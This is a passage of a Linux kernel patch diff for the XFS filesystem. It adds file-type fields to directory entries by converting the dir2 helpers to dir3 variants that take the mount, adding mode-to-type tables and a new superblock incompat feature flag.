*dep) { return (__be16 *)((char *)dep + - xfs_dir2_data_entsize(dep->namelen) - sizeof(__be16)); + xfs_dir3_data_entsize(mp, dep->namelen) - sizeof(__be16)); } /* @@ -375,13 +502,17 @@ xfs_dir3_data_unused_p(struct xfs_dir2_data_hdr *hdr) * data block header because the sfe embeds the block offset of the entry into * it so that it doesn't change when format conversion occurs. Bad Things Happen * if we don't follow this rule. + * + * XXX: there is scope for significant optimisation of the logic here. Right + * now we are checking for "dir3 format" over and over again. Ideally we should + * only do it once for each operation. */ #define XFS_DIR3_DATA_DOT_OFFSET(mp) \ xfs_dir3_data_hdr_size(xfs_sb_version_hascrc(&(mp)->m_sb)) #define XFS_DIR3_DATA_DOTDOT_OFFSET(mp) \ - (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir2_data_entsize(1)) + (XFS_DIR3_DATA_DOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 1)) #define XFS_DIR3_DATA_FIRST_OFFSET(mp) \ - (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir2_data_entsize(2)) + (XFS_DIR3_DATA_DOTDOT_OFFSET(mp) + xfs_dir3_data_entsize(mp, 2)) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) @@ -392,13 +523,19 @@ xfs_dir3_data_dot_offset(struct xfs_dir2_data_hdr *hdr) static inline xfs_dir2_data_aoff_t xfs_dir3_data_dotdot_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dot_offset(hdr) + xfs_dir2_data_entsize(1); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 1); } static inline xfs_dir2_data_aoff_t xfs_dir3_data_first_offset(struct xfs_dir2_data_hdr *hdr) { - return xfs_dir3_data_dotdot_offset(hdr) + xfs_dir2_data_entsize(2); + bool dir3 = hdr->magic == cpu_to_be32(XFS_DIR3_DATA_MAGIC) || + hdr->magic == cpu_to_be32(XFS_DIR3_BLOCK_MAGIC); + return xfs_dir3_data_dotdot_offset(hdr) + + __xfs_dir3_data_entsize(dir3, 2); } /* diff --git a/fs/xfs/xfs_dir2_leaf.c b/fs/xfs/xfs_dir2_leaf.c index 591eaf2..887b1bd 100644 --- a/fs/xfs/xfs_dir2_leaf.c +++ b/fs/xfs/xfs_dir2_leaf.c @@ -696,7 +696,7 @@ xfs_dir2_leaf_addname( ents = xfs_dir3_leaf_ents_p(leaf); xfs_dir3_leaf_hdr_from_disk(&leafhdr, leaf); bestsp = xfs_dir2_leaf_bests_p(ltp); - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * See if there are any entries with the same hash value @@ -897,7 +897,7 @@ xfs_dir2_leaf_addname( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); /* * Need to scan fix up the bestfree table. @@ -1427,7 +1427,7 @@ xfs_dir2_leaf_removename( */ xfs_dir2_data_make_free(tp, dbp, (xfs_dir2_data_aoff_t)((char *)dep - (char *)hdr), - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * We just mark the leaf entry stale by putting a null in it. */ diff --git a/fs/xfs/xfs_dir2_node.c b/fs/xfs/xfs_dir2_node.c index 18e287d..49f1e9e 100644 --- a/fs/xfs/xfs_dir2_node.c +++ b/fs/xfs/xfs_dir2_node.c @@ -605,7 +605,7 @@ xfs_dir2_leafn_lookup_for_addname( ASSERT(free->hdr.magic == cpu_to_be32(XFS_DIR2_FREE_MAGIC) || free->hdr.magic == cpu_to_be32(XFS_DIR3_FREE_MAGIC)); } - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * Loop over leaf entries with the right hash value. */ @@ -1259,7 +1259,7 @@ xfs_dir2_leafn_remove( longest = be16_to_cpu(bf[0].length); needlog = needscan = 0; xfs_dir2_data_make_free(tp, dbp, off, - xfs_dir2_data_entsize(dep->namelen), &needlog, &needscan); + xfs_dir3_data_entsize(mp, dep->namelen), &needlog, &needscan); /* * Rescan the data block freespaces for bestfree. * Log the data block header if needed. @@ -1711,7 +1711,7 @@ xfs_dir2_node_addname_int( dp = args->dp; mp = dp->i_mount; tp = args->trans; - length = xfs_dir2_data_entsize(args->namelen); + length = xfs_dir3_data_entsize(mp, args->namelen); /* * If we came in with a freespace block that means that lookup * found an entry with our hash value. This is the freespace @@ -2007,7 +2007,7 @@ xfs_dir2_node_addname_int( dep->inumber = cpu_to_be64(args->inumber); dep->namelen = args->namelen; memcpy(dep->name, args->name, dep->namelen); - tagp = xfs_dir2_data_entry_tag_p(dep); + tagp = xfs_dir3_data_entry_tag_p(mp, dep); *tagp = cpu_to_be16((char *)dep - (char *)hdr); xfs_dir2_data_log_entry(tp, dbp, dep); /* diff --git a/fs/xfs/xfs_dir2_priv.h b/fs/xfs/xfs_dir2_priv.h index 6d2a99c2..1bad84c 100644 --- a/fs/xfs/xfs_dir2_priv.h +++ b/fs/xfs/xfs_dir2_priv.h @@ -18,6 +18,8 @@ #ifndef __XFS_DIR2_PRIV_H__ #define __XFS_DIR2_PRIV_H__ +struct dir_context; + /* xfs_dir2.c */ extern int xfs_dir_ino_validate(struct xfs_mount *mp, xfs_ino_t ino); extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, @@ -25,6 +27,13 @@ extern int xfs_dir2_grow_inode(struct xfs_da_args *args, int space, extern int xfs_dir_cilookup_result(struct xfs_da_args *args, const unsigned char *name, int len); +#define S_SHIFT 12 +extern const unsigned char xfs_mode_to_ftype[]; + +extern unsigned char xfs_dir3_get_dtype(struct xfs_mount *mp, + __uint8_t filetype); + + /* xfs_dir2_block.c */ extern int xfs_dir3_block_read(struct xfs_trans *tp, struct xfs_inode *dp, struct xfs_buf **bpp); diff --git a/fs/xfs/xfs_dir2_readdir.c b/fs/xfs/xfs_dir2_readdir.c index e6211a7..6b28889 100644 --- a/fs/xfs/xfs_dir2_readdir.c +++ b/fs/xfs/xfs_dir2_readdir.c @@ -36,6 +36,44 @@ #include "xfs_trace.h" #include "xfs_bmap.h" +/* + * Directory file type support functions + */ +static unsigned char xfs_dir3_filetype_table[] = { + DT_UNKNOWN, DT_REG, DT_DIR, DT_CHR, DT_BLK, + DT_FIFO, DT_SOCK, DT_LNK, DT_WHT, +}; + +unsigned char +xfs_dir3_get_dtype( + struct xfs_mount *mp, + __uint8_t filetype) +{ + if (!xfs_sb_version_hasftype(&mp->m_sb)) + return DT_UNKNOWN; + + if (filetype >= XFS_DIR3_FT_MAX) + return DT_UNKNOWN; + + return xfs_dir3_filetype_table[filetype]; +} +/* + * @mode, if set, indicates that the type field needs to be set up. + * This uses the transformation from file mode to DT_* as defined in linux/fs.h + * for file type specification. This will be propagated into the directory + * structure if appropriate for the given operation and filesystem config. + */ +const unsigned char xfs_mode_to_ftype[S_IFMT >> S_SHIFT] = { + [0] = XFS_DIR3_FT_UNKNOWN, + [S_IFREG >> S_SHIFT] = XFS_DIR3_FT_REG_FILE, + [S_IFDIR >> S_SHIFT] = XFS_DIR3_FT_DIR, + [S_IFCHR >> S_SHIFT] = XFS_DIR3_FT_CHRDEV, + [S_IFBLK >> S_SHIFT] = XFS_DIR3_FT_BLKDEV, + [S_IFIFO >> S_SHIFT] = XFS_DIR3_FT_FIFO, + [S_IFSOCK >> S_SHIFT] = XFS_DIR3_FT_SOCK, + [S_IFLNK >> S_SHIFT] = XFS_DIR3_FT_SYMLINK, +}; + STATIC int xfs_dir2_sf_getdents( xfs_inode_t *dp, /* incore directory inode */ @@ -109,20 +147,23 @@ xfs_dir2_sf_getdents( */ sfep = xfs_dir2_sf_firstentry(sfp); for (i = 0; i < sfp->count; i++) { + __uint8_t filetype; + off = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk, xfs_dir2_sf_get_offset(sfep)); if (ctx->pos > off) { - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); continue; } - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); + filetype = xfs_dir3_sfe_get_ftype(mp, sfp, sfep); ctx->pos = off & 0x7fffffff; - if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, - ino, DT_UNKNOWN)) + if (!dir_emit(ctx, (char *)sfep->name, sfep->namelen, ino, + xfs_dir3_get_dtype(mp, filetype))) return 0; - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } ctx->pos = xfs_dir2_db_off_to_dataptr(mp, mp->m_dirdatablk + 1, 0) & @@ -180,6 +221,8 @@ xfs_dir2_block_getdents( * Each object is a real entry (dep) or an unused one (dup). */ while (ptr < endptr) { + __uint8_t filetype; + dup = (xfs_dir2_data_unused_t *)ptr; /* * Unused, skip it. @@ -194,7 +237,7 @@ xfs_dir2_block_getdents( /* * Bump pointer for the next iteration. */ - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); /* * The entry is before the desired starting point, skip it. */ @@ -205,11 +248,13 @@ xfs_dir2_block_getdents( (char *)dep - (char *)hdr); ctx->pos = cook & 0x7fffffff; + filetype = xfs_dir3_dirent_get_ftype(mp, dep); /* * If it didn't fit, set the final offset to here & return. */ if (!dir_emit(ctx, (char *)dep->name, dep->namelen, - be64_to_cpu(dep->inumber), DT_UNKNOWN)) { + be64_to_cpu(dep->inumber), + xfs_dir3_get_dtype(mp, filetype))) { xfs_trans_brelse(NULL, bp); return 0; } @@ -500,6 +545,8 @@ xfs_dir2_leaf_getdents( * Get more blocks and readahead as necessary. */ while (curoff < XFS_DIR2_LEAF_OFFSET) { + __uint8_t filetype; + /* * If we have no buffer, or we're off the end of the * current buffer, need to get another one. @@ -554,7 +601,7 @@ xfs_dir2_leaf_getdents( } dep = (xfs_dir2_data_entry_t *)ptr; length = - xfs_dir2_data_entsize(dep->namelen); + xfs_dir3_data_entsize(mp, dep->namelen); ptr += length; } /* @@ -585,11 +632,13 @@ xfs_dir2_leaf_getdents( } dep = (xfs_dir2_data_entry_t *)ptr; - length = xfs_dir2_data_entsize(dep->namelen); + length = xfs_dir3_data_entsize(mp, dep->namelen); + filetype = xfs_dir3_dirent_get_ftype(mp, dep); ctx->pos = xfs_dir2_byte_to_dataptr(mp, curoff) & 0x7fffffff; if (!dir_emit(ctx, (char *)dep->name, dep->namelen, - be64_to_cpu(dep->inumber), DT_UNKNOWN)) + be64_to_cpu(dep->inumber), + xfs_dir3_get_dtype(mp, filetype))) break; /* diff --git a/fs/xfs/xfs_dir2_sf.c b/fs/xfs/xfs_dir2_sf.c index 65b65c5..bd14e1a 100644 --- a/fs/xfs/xfs_dir2_sf.c +++ b/fs/xfs/xfs_dir2_sf.c @@ -105,31 +105,38 @@ xfs_dir2_sf_put_parent_ino( /* * In short-form directory entries the inode numbers are stored at variable - * offset behind the entry name. The inode numbers may only be accessed - * through the helpers below. + * offset behind the entry name. If the entry stores a filetype value, then it + * sits between the name and the inode number. Hence the inode numbers may only + * be accessed through the helpers below. */ static xfs_dir2_inou_t * -xfs_dir2_sfe_inop( +xfs_dir3_sfe_inop( + struct xfs_mount *mp, struct xfs_dir2_sf_entry *sfep) { - return (xfs_dir2_inou_t *)&sfep->name[sfep->namelen]; + __uint8_t *ptr = &sfep->name[sfep->namelen]; + if (xfs_sb_version_hasftype(&mp->m_sb)) + ptr++; + return (xfs_dir2_inou_t *)ptr; } xfs_ino_t -xfs_dir2_sfe_get_ino( +xfs_dir3_sfe_get_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep) { - return xfs_dir2_sf_get_ino(hdr, xfs_dir2_sfe_inop(sfep)); + return xfs_dir2_sf_get_ino(hdr, xfs_dir3_sfe_inop(mp, sfep)); } void -xfs_dir2_sfe_put_ino( +xfs_dir3_sfe_put_ino( + struct xfs_mount *mp, struct xfs_dir2_sf_hdr *hdr, struct xfs_dir2_sf_entry *sfep, xfs_ino_t ino) { - xfs_dir2_sf_put_ino(hdr, xfs_dir2_sfe_inop(sfep), ino); + xfs_dir2_sf_put_ino(hdr, xfs_dir3_sfe_inop(mp, sfep), ino); } /* @@ -157,9 +164,16 @@ xfs_dir2_block_sfsize( int namelen; /* total name bytes */ xfs_ino_t parent = 0; /* parent inode number */ int size=0; /* total computed size */ + int has_ftype; mp = dp->i_mount; + /* + * if there is a filetype field, add the extra byte to the namelen + * for each entry that we see. + */ + has_ftype = xfs_sb_version_hasftype(&mp->m_sb) ? 1 : 0; + count = i8count = namelen = 0; btp = xfs_dir2_block_tail_p(mp, hdr); blp = xfs_dir2_block_leaf_p(btp); @@ -188,9 +202,10 @@ xfs_dir2_block_sfsize( if (!isdot) i8count += be64_to_cpu(dep->inumber) > XFS_DIR2_MAX_SHORT_INUM; #endif + /* take into account the file type field */ if (!isdot && !isdotdot) { count++; - namelen += dep->namelen; + namelen += dep->namelen + has_ftype; } else if (isdotdot) parent = be64_to_cpu(dep->inumber); /* @@ -316,12 +331,12 @@ xfs_dir2_block_to_sf( (xfs_dir2_data_aoff_t) ((char *)dep - (char *)hdr)); memcpy(sfep->name, dep->name, dep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, + xfs_dir3_sfe_put_ino(mp, sfp, sfep, be64_to_cpu(dep->inumber)); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } - ptr += xfs_dir2_data_entsize(dep->namelen); + ptr += xfs_dir3_data_entsize(mp, dep->namelen); } ASSERT((char *)sfep - (char *)sfp == size); xfs_dir2_sf_check(args); @@ -372,7 +387,7 @@ xfs_dir2_sf_addname( /* * Compute entry (and change in) size. */ - add_entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + add_entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); incr_isize = add_entsize; objchange = 0; #if XFS_BIG_INUMS @@ -466,8 +481,9 @@ xfs_dir2_sf_addname_easy( /* * Grow the in-inode space. */ - xfs_idata_realloc(dp, xfs_dir2_sf_entsize(sfp, args->namelen), - XFS_DATA_FORK); + xfs_idata_realloc(dp, + xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen), + XFS_DATA_FORK); /* * Need to set up again due to realloc of the inode data. */ @@ -479,7 +495,7 @@ xfs_dir2_sf_addname_easy( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, args->inumber); /* * Update the header and inode. */ @@ -519,11 +535,13 @@ xfs_dir2_sf_addname_hard( xfs_dir2_sf_hdr_t *oldsfp; /* original shortform dir */ xfs_dir2_sf_entry_t *sfep; /* entry in new dir */ xfs_dir2_sf_hdr_t *sfp; /* new shortform dir */ + struct xfs_mount *mp; /* * Copy the old directory to the stack buffer. */ dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; old_isize = (int)dp->i_d.di_size; @@ -535,13 +553,13 @@ xfs_dir2_sf_addname_hard( * to insert the new entry. * If it's going to end up at the end then oldsfep will point there. */ - for (offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount), + for (offset = XFS_DIR3_DATA_FIRST_OFFSET(mp), oldsfep = xfs_dir2_sf_firstentry(oldsfp), - add_datasize = xfs_dir2_data_entsize(args->namelen), + add_datasize = xfs_dir3_data_entsize(mp, args->namelen), eof = (char *)oldsfep == &buf[old_isize]; !eof; - offset = new_offset + xfs_dir2_data_entsize(oldsfep->namelen), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep), + offset = new_offset + xfs_dir3_data_entsize(mp, oldsfep->namelen), + oldsfep = xfs_dir3_sf_nextentry(mp, oldsfp, oldsfep), eof = (char *)oldsfep == &buf[old_isize]) { new_offset = xfs_dir2_sf_get_offset(oldsfep); if (offset + add_datasize <= new_offset) @@ -570,7 +588,7 @@ xfs_dir2_sf_addname_hard( sfep->namelen = args->namelen; xfs_dir2_sf_put_offset(sfep, offset); memcpy(sfep->name, args->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(mp, sfp, sfep, args->inumber); sfp->count++; #if XFS_BIG_INUMS if (args->inumber > XFS_DIR2_MAX_SHORT_INUM && !objchange) @@ -580,7 +598,7 @@ xfs_dir2_sf_addname_hard( * If there's more left to copy, do that. */ if (!eof) { - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); memcpy(sfep, oldsfep, old_isize - nbytes); } kmem_free(buf); @@ -616,7 +634,7 @@ xfs_dir2_sf_addname_pick( mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - size = xfs_dir2_data_entsize(args->namelen); + size = xfs_dir3_data_entsize(mp, args->namelen); offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); sfep = xfs_dir2_sf_firstentry(sfp); holefit = 0; @@ -629,8 +647,8 @@ xfs_dir2_sf_addname_pick( if (!holefit) holefit = offset + size <= xfs_dir2_sf_get_offset(sfep); offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); - sfep = xfs_dir2_sf_nextentry(sfp, sfep); + xfs_dir3_data_entsize(mp, sfep->namelen); + sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep); } /* * Calculate data bytes used excluding the new entry, if this @@ -684,31 +702,34 @@ xfs_dir2_sf_check( int offset; /* data offset */ xfs_dir2_sf_entry_t *sfep; /* shortform dir entry */ xfs_dir2_sf_hdr_t *sfp; /* shortform structure */ + struct xfs_mount *mp; dp = args->dp; + mp = dp->i_mount; sfp = (xfs_dir2_sf_hdr_t *)dp->i_df.if_u1.if_data; - offset = XFS_DIR3_DATA_FIRST_OFFSET(dp->i_mount); + offset = XFS_DIR3_DATA_FIRST_OFFSET(mp); ino = xfs_dir2_sf_get_parent_ino(sfp); i8count = ino > XFS_DIR2_MAX_SHORT_INUM; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(mp, sfp, sfep)) { ASSERT(xfs_dir2_sf_get_offset(sfep) >= offset); - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(mp, sfp, sfep); i8count += ino > XFS_DIR2_MAX_SHORT_INUM; offset = xfs_dir2_sf_get_offset(sfep) + - xfs_dir2_data_entsize(sfep->namelen); + xfs_dir3_data_entsize(mp, sfep->namelen); + ASSERT(xfs_dir3_sfe_get_ftype(mp, sfp, sfep) < + XFS_DIR3_FT_MAX); } ASSERT(i8count == sfp->i8count); ASSERT(XFS_BIG_INUMS || i8count == 0); ASSERT((char *)sfep - (char *)sfp == dp->i_d.di_size); ASSERT(offset + (sfp->count + 2) * (uint)sizeof(xfs_dir2_leaf_entry_t) + - (uint)sizeof(xfs_dir2_block_tail_t) <= - dp->i_mount->m_dirblksize); + (uint)sizeof(xfs_dir2_block_tail_t) <= mp->m_dirblksize); } #endif /* DEBUG */ @@ -820,7 +841,7 @@ xfs_dir2_sf_lookup( */ ci_sfep = NULL; for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { /* * Compare name and if it's an exact match, return the inode * number. If it's the first case-insensitive match, store the @@ -830,7 +851,8 @@ xfs_dir2_sf_lookup( sfep->namelen); if (cmp != XFS_CMP_DIFFERENT && cmp != args->cmpresult) { args->cmpresult = cmp; - args->inumber = xfs_dir2_sfe_get_ino(sfp, sfep); + args->inumber = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); if (cmp == XFS_CMP_EXACT) return XFS_ERROR(EEXIST); ci_sfep = sfep; @@ -886,10 +908,10 @@ xfs_dir2_sf_removename( * Find the one we're deleting. */ for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { - ASSERT(xfs_dir2_sfe_get_ino(sfp, sfep) == + ASSERT(xfs_dir3_sfe_get_ino(dp->i_mount, sfp, sfep) == args->inumber); break; } @@ -903,7 +925,7 @@ xfs_dir2_sf_removename( * Calculate sizes. */ byteoff = (int)((char *)sfep - (char *)sfp); - entsize = xfs_dir2_sf_entsize(sfp, args->namelen); + entsize = xfs_dir3_sf_entsize(dp->i_mount, sfp, args->namelen); newsize = oldsize - entsize; /* * Copy the part if any after the removed entry, sliding it down. @@ -1019,16 +1041,17 @@ xfs_dir2_sf_replace( * Normal entry, look for the name. */ else { - for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); - i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep)) { + for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp); i < sfp->count; + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep)) { if (xfs_da_compname(args, sfep->name, sfep->namelen) == XFS_CMP_EXACT) { #if XFS_BIG_INUMS || defined(DEBUG) - ino = xfs_dir2_sfe_get_ino(sfp, sfep); + ino = xfs_dir3_sfe_get_ino(dp->i_mount, + sfp, sfep); ASSERT(args->inumber != ino); #endif - xfs_dir2_sfe_put_ino(sfp, sfep, args->inumber); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + args->inumber); break; } } @@ -1136,13 +1159,13 @@ xfs_dir2_sf_toino4( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. @@ -1211,13 +1234,13 @@ xfs_dir2_sf_toino8( for (i = 0, sfep = xfs_dir2_sf_firstentry(sfp), oldsfep = xfs_dir2_sf_firstentry(oldsfp); i < sfp->count; - i++, sfep = xfs_dir2_sf_nextentry(sfp, sfep), - oldsfep = xfs_dir2_sf_nextentry(oldsfp, oldsfep)) { + i++, sfep = xfs_dir3_sf_nextentry(dp->i_mount, sfp, sfep), + oldsfep = xfs_dir3_sf_nextentry(dp->i_mount, oldsfp, oldsfep)) { sfep->namelen = oldsfep->namelen; sfep->offset = oldsfep->offset; memcpy(sfep->name, oldsfep->name, sfep->namelen); - xfs_dir2_sfe_put_ino(sfp, sfep, - xfs_dir2_sfe_get_ino(oldsfp, oldsfep)); + xfs_dir3_sfe_put_ino(dp->i_mount, sfp, sfep, + xfs_dir3_sfe_get_ino(dp->i_mount, oldsfp, oldsfep)); } /* * Clean up the inode. diff --git a/fs/xfs/xfs_iops.c b/fs/xfs/xfs_iops.c index 82c5a5d..b250495 100644 --- a/fs/xfs/xfs_iops.c +++ b/fs/xfs/xfs_iops.c @@ -40,6 +40,9 @@ #include "xfs_trace.h" #include "xfs_icache.h" #include "xfs_symlink.h" +#include "xfs_da_btree.h" +#include "xfs_dir2_format.h" +#include "xfs_dir2_priv.h" #include #include @@ -88,10 +91,12 @@ xfs_init_security( static void xfs_dentry_to_name( struct xfs_name *namep, - struct dentry *dentry) + struct dentry *dentry, + int mode) { namep->name = dentry->d_name.name; namep->len = dentry->d_name.len; + namep->type = xfs_mode_to_ftype[(mode & S_IFMT) >> S_SHIFT]; } STATIC void @@ -107,7 +112,7 @@ xfs_cleanup_inode( * xfs_init_security we must back out. * ENOSPC can hit here, among other things. */ - xfs_dentry_to_name(&teardown, dentry); + xfs_dentry_to_name(&teardown, dentry, 0); xfs_remove(XFS_I(dir), &teardown, XFS_I(inode)); iput(inode); @@ -147,7 +152,7 @@ xfs_vn_mknod( mode &= ~current_umask(); } - xfs_dentry_to_name(&name, dentry); + xfs_dentry_to_name(&name, dentry, mode); error = xfs_create(XFS_I(dir), &name, mode, rdev, &ip); if (unlikely(error)) goto out_free_acl; @@ -208,7 +213,7 @@ xfs_vn_lookup( if (dentry->d_name.len >= MAXNAMELEN) return ERR_PTR(-ENAMETOOLONG); - xfs_dentry_to_name(&name, dentry); + xfs_dentry_to_name(&name, dentry, 0); error = xfs_lookup(XFS_I(dir), &name, &cip, NULL); if (unlikely(error)) { if (unlikely(error != ENOENT)) @@ -235,7 +240,7 @@ xfs_vn_ci_lookup( if (dentry->d_name.len >= MAXNAMELEN) return ERR_PTR(-ENAMETOOLONG); - xfs_dentry_to_name(&xname, dentry); + xfs_dentry_to_name(&xname, dentry, 0); error = xfs_lookup(XFS_I(dir), &xname, &ip, &ci_name); if (unlikely(error)) { if (unlikely(error != ENOENT)) @@ -270,7 +275,7 @@ xfs_vn_link( struct xfs_name name; int error; - xfs_dentry_to_name(&name, dentry); + xfs_dentry_to_name(&name, dentry, inode->i_mode); error = xfs_link(XFS_I(dir), XFS_I(inode), &name); if (unlikely(error)) @@ -289,7 +294,7 @@ xfs_vn_unlink( struct xfs_name name; int error; - xfs_dentry_to_name(&name, dentry); + xfs_dentry_to_name(&name, dentry, 0); error = -xfs_remove(XFS_I(dir), &name, XFS_I(dentry->d_inode)); if (error) @@ -319,7 +324,7 @@ xfs_vn_symlink( mode = S_IFLNK | (irix_symlink_mode ? 0777 & ~current_umask() : S_IRWXUGO); - xfs_dentry_to_name(&name, dentry); + xfs_dentry_to_name(&name, dentry, mode); error = xfs_symlink(XFS_I(dir), &name, symname, mode, &cip); if (unlikely(error)) @@ -351,12 +356,12 @@ xfs_vn_rename( struct xfs_name oname; struct xfs_name nname; - xfs_dentry_to_name(&oname, odentry); - xfs_dentry_to_name(&nname, ndentry); + xfs_dentry_to_name(&oname, odentry, 0); + xfs_dentry_to_name(&nname, ndentry, odentry->d_inode->i_mode); return -xfs_rename(XFS_I(odir), &oname, XFS_I(odentry->d_inode), XFS_I(ndir), &nname, new_inode ? - XFS_I(new_inode) : NULL); + XFS_I(new_inode) : NULL); } /* diff --git a/fs/xfs/xfs_sb.h b/fs/xfs/xfs_sb.h index d6f3648..c5b1c04 100644 --- a/fs/xfs/xfs_sb.h +++ b/fs/xfs/xfs_sb.h @@ -555,12 +555,6 @@ static inline void xfs_sb_version_addprojid32bit(xfs_sb_t *sbp) sbp->sb_bad_features2 |= XFS_SB_VERSION2_PROJID32BIT; } -static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) -{ - return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; -} - - /* * Extended v5 superblock feature masks. These are to be used for new v5 * superblock features only. @@ -599,7 +593,9 @@ xfs_sb_has_ro_compat_feature( return (sbp->sb_features_ro_compat & feature) != 0; } +#define XFS_SB_FEAT_INCOMPAT_FTYPE (1 << 0) /* filetype in dirent */ #define XFS_SB_FEAT_INCOMPAT_ALL 0 + #define XFS_SB_FEAT_INCOMPAT_UNKNOWN ~XFS_SB_FEAT_INCOMPAT_ALL static inline bool xfs_sb_has_incompat_feature( @@ -619,16 +615,30 @@ xfs_sb_has_incompat_log_feature( return (sbp->sb_features_log_incompat & feature) != 0; } -static inline bool -xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +/* + * V5 superblock specific feature checks + */ +static inline int xfs_sb_version_hascrc(xfs_sb_t *sbp) { - return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5; +} + +static inline int xfs_sb_version_hasftype(struct xfs_sb *sbp) +{ + return XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5 && + xfs_sb_has_incompat_feature(sbp, XFS_SB_FEAT_INCOMPAT_FTYPE); } /* * end of superblock version macros */ +static inline bool +xfs_is_quota_inode(struct xfs_sb *sbp, xfs_ino_t ino) +{ + return (ino == sbp->sb_uquotino || ino == sbp->sb_gquotino); +} + #define XFS_SB_DADDR ((xfs_daddr_t)0) /* daddr in filesystem/ag */ #define XFS_SB_BLOCK(mp) XFS_HDR_BLOCK(mp, XFS_SB_DADDR) #define XFS_BUF_TO_SBP(bp) ((xfs_dsb_t *)((bp)->b_addr)) diff --git a/fs/xfs/xfs_types.h b/fs/xfs/xfs_types.h index ce44b18..82bbc34 100644 --- 